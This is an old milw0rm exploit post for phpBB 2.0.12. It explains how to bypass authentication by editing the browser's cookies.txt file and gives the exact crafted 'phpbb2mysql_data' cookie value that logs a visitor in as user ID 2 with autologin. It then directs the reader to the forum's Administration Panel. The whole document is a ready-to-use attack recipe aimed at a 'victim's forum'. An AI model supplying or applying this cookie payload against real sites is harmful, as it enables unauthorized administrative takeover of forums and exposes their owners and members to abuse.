phpBB 2.0.12 Session Handling Authentication Bypass 2

[RedJoker]

phpBB 2.0.12 Session Handling Authentication Bypass ..

easy to use exploit ..

** YOU DON'T HAVE TO REGISTER AT THE VICTIM'S FORUM..

1- Simply VISIT the forum using Mozilla Firefox.. and be sure that the cookie is made (:

3- Close the Browser ..

2- Open the cookies.txt ..((located on "C:\Documents and Settings\ALI\Application Data\Mozilla\Firefox\Profiles\ur4nn6o5.default" when using WinXP)) in example

and you will find something like :

---------------------------------------------------------------------------------------------------------------\\

127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D

---------------------------------------------------------------------------------------------------------------//

where 127.0.0.1 is the domain for the forum << tested on localhost

and a%3A0%3A%7B%7D is the cookie data ..<< as a visitor

3- ok..let's do it !! ..

now open cookies.txt with your text editor

and replace

---------------------------------------------------------------------------------------------------------------\\

127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D

---------------------------------------------------------------------------------------------------------------//

with

---------------------------------------------------------------------------------------------------------------\\

127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

---------------------------------------------------------------------------------------------------------------//

save the cookies.txt..

4- Open your Browser..and go to the exploited forum ..

>>enjoy Hi Permission mode !!

complete the mission by clicking " Go to Administration Panel "

--------------------------------------------------------------------------------

written by : Ali7

e-mail : ali7@hotmail.co.uk

# milw0rm.com [2005-03-11]